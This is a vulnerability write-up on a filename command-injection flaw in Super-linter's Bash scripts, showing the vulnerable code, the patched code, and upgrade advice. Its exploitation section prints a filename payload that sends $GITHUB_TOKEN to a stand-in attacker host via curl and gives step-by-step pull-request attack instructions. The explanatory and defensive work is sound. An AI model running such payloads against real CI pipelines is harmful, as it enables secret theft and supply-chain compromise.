Shell Hell in Super-Linter: CVE-2026-25761

Super-linter is the Swiss Army knife of CI/CD. It bundles dozens of linters—Python, JavaScript, Go, Terraform, you name it—into a single, massive Docker container. It’s a beast of a tool that developers drop into their workflows to ensure code quality without configuring fifty different plugins. But under the hood, Super-linter is essentially a massive orchestration engine held together by the digital equivalent of duct tape: Bash scripts.

Bash is powerful, but it is notoriously unforgiving when it comes to input sanitization. In the UNIX philosophy, a filename is just a stream of bytes. It can contain spaces, newlines, and yes, shell metacharacters like $, ;, and backticks. The only forbidden characters are null bytes and forward slashes.

CVE-2026-25761 is a classic story of what happens when a developer assumes a filename is just text, rather than a potential payload. By failing to sanitize file paths before passing them to an eval statement, Super-linter inadvertently turned every Pull Request into a potential Remote Code Execution (RCE) vector. It’s ironic: the tool designed to catch bad code was itself running some of the most dangerous patterns in the shell scripting handbook.

The vulnerability lived in the file discovery logic. When Super-linter runs on a Pull Request, it doesn't want to lint the entire repository—that would take forever. Instead, it calculates the git diff to find only the files that changed. It grabs these filenames and builds a list to pass to the various linters.

The core issue was how this list was constructed. The script used a combination of git ls-tree, xargs, and the dreaded eval command to process the file list. The logic effectively said: "Take this list of files, and for each one, echo its full path."

Here is where it went wrong: The script used xargs to spawn a subshell (sh -c) to handle the echoing. Because the filename was injected directly into the command string of that subshell without proper escaping, any shell syntax inside the filename would be interpreted by the subshell, not treated as a string literal. If I name a file $(id).js, the shell sees a command to execute id, not a file named $(id).js. This is textbook command injection via filename expansion.

Let's look at the smoking gun. This is a snippet from lib/functions/buildFileList.sh before the patch. Notice the use of eval wrapping a command string that includes xargs and sh -c.

The Vulnerable Code:

# % is the filename from git ls-tree
DIFF_GIT_VALIDATE_ALL_CODEBASE="git -C \"${GITHUB_WORKSPACE}\" ls-tree -r --name-only HEAD | xargs -I % sh -c \"echo ${GITHUB_WORKSPACE}/%\" 2>&1"
 
# The Sink: executing the string as code
eval "${DIFF_GIT_VALIDATE_ALL_CODEBASE}"

When xargs encounters a file named $(curl evil.com), it constructs a command line roughly looking like sh -c "echo .../$(curl evil.com)". The shell parses the $() and executes curl immediately.

The Fix (v8.3.1):

The maintainers removed the Rube Goldberg machine of xargs and eval entirely. They switched to sed for string manipulation (prefixing the path) and mapfile to load the results safely into an array.

local LIST_OF_FILES_IN_REPO
if ! LIST_OF_FILES_IN_REPO=$(
  set -o pipefail
  # Use sed to prepend the workspace path safely
  git -C "${GITHUB_WORKSPACE}" ls-tree -r --name-only HEAD | sed "s|^|${GITHUB_WORKSPACE}/|"
); then
  fatal "Failed..."
fi
 
# Load into array without execution
mapfile -t RAW_FILE_ARRAY <<<"${LIST_OF_FILES_IN_REPO}"

By using sed, the filename is treated as a stream of text. sed doesn't care if your file is named $(rm -rf /); it just prepends the path and moves on.

Exploiting this is trivially easy and requires zero authentication if the repository accepts Pull Requests from forks (which most open-source projects do).

Step 1: The Payload

We need a filename that constitutes a valid shell command. Since slashes / are forbidden in filenames, we can't easily execute complex paths, but we can rely on PATH or use command substitution.

# Create a malicious file locally
touch 'share/$(curl -X POST -d @- attacker.com_keys <<< $GITHUB_TOKEN).js'

Step 2: The Trap

Commit this file and push it to a fork. Open a Pull Request against the victim repository. This triggers the GitHub Action.

Step 3: Execution

1. The GitHub Runner checks out the PR code.
2. Super-linter starts up and runs buildFileList.sh.
3. git ls-tree lists our malicious file.
4. The vulnerable eval line processes the name.
5. The shell sees $GITHUB_TOKEN, expands it (since it's an environment variable in the runner), and curl exfiltrates it to our listener.

> [!WARNING] > This attack is "blind." You might not see the output in the logs if the command fails or if the script crashes afterwards. However, out-of-band interaction (DNS/HTTP) confirms execution immediately.

Why should you panic? Because the CI runner is the soft underbelly of modern DevSecOps. If I control the runner, I control the repo.

Credential Theft: The most immediate impact is stealing the GITHUB_TOKEN or other secrets exposed as environment variables (AWS_ACCESS_KEY_ID, NPM_TOKEN, etc.).

Supply Chain Poisoning: With a write-capable token, I could push a commit to the main branch (if branch protections are weak) or modify release assets. I could effectively backdoor your software by modifying the build process from the inside.

Lateral Movement: If you run this on self-hosted runners inside your corporate VPC, I now have a shell inside your internal network. I can scan for internal services, databases, or other unprotected infrastructure that the runner has access to.

The fix is simple: Upgrade.

If you are using super-linter, pin your workflow to v8.3.1 or later. Better yet, pin to the commit hash to prevent supply chain attacks against the action itself.

- name: Super-linter
  uses: super-linter/super-linter@v8.3.1
  # OR
  uses: super-linter/super-linter@d29d0d4ffb9e0d5f71026f616ba31b1228b772fa

For developers writing Bash scripts in CI: Stop using eval. If you find yourself writing eval to process a string, you are likely doing it wrong. Use arrays (declare -a), use read or mapfile, and quote your variables ("$VAR") religiously. Treat filenames as hostile user input, because in the world of open source, they absolutely are.